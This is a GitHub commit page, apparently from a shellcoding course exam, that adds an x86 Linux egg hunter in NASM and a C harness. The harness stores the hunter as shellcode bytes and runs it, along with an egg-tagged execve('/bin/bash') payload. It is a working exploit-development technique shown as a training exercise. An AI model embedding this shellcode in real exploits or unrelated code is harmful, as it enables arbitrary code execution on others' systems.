Skip to content

Commit

Permalink
Added EggHunter code.
Browse files Browse the repository at this point in the history
  • Loading branch information
cr7pt0pl4gu3 committed Nov 16, 2020
1 parent 1117ec5 commit 35538ef
Show file tree
Hide file tree
Showing 5 changed files with 42 additions and 0 deletions.
Binary file added Exam/EggHunter/EggHunter
Binary file not shown.
26 changes: 26 additions & 0 deletions Exam/EggHunter/EggHunter.nasm
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
; EggHunter.nasm
; Author: Ravehorn

global _start

section .text

_align:

or cx, 0xfff

_start:

inc ecx
push byte 0x43
pop eax
int 0x80
cmp al, 0xf2
jz _align
mov eax, 0x4747456d ; mEGG
mov edi, ecx
scasd
jnz _start
scasd
jnz _start
jmp edi
Binary file added Exam/EggHunter/EggHunter.o
Binary file not shown.
Binary file added Exam/EggHunter/Shellcode
Binary file not shown.
16 changes: 16 additions & 0 deletions Exam/EggHunter/Shellcode.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#include <stdio.h>
#include <string.h>

unsigned char egg_hunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x6d\x45\x47\x47\x89\xcf"
"\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char egg[] = \
"\x6d\x45\x47\x47\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"
"\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void) {
printf("EggHunter Length: %d\n", strlen(egg_hunter));
printf("Egg Length: %d\n", strlen(egg) - 4);
((void(*)(void))egg_hunter)();
}

0 comments on commit 35538ef

Please sign in to comment.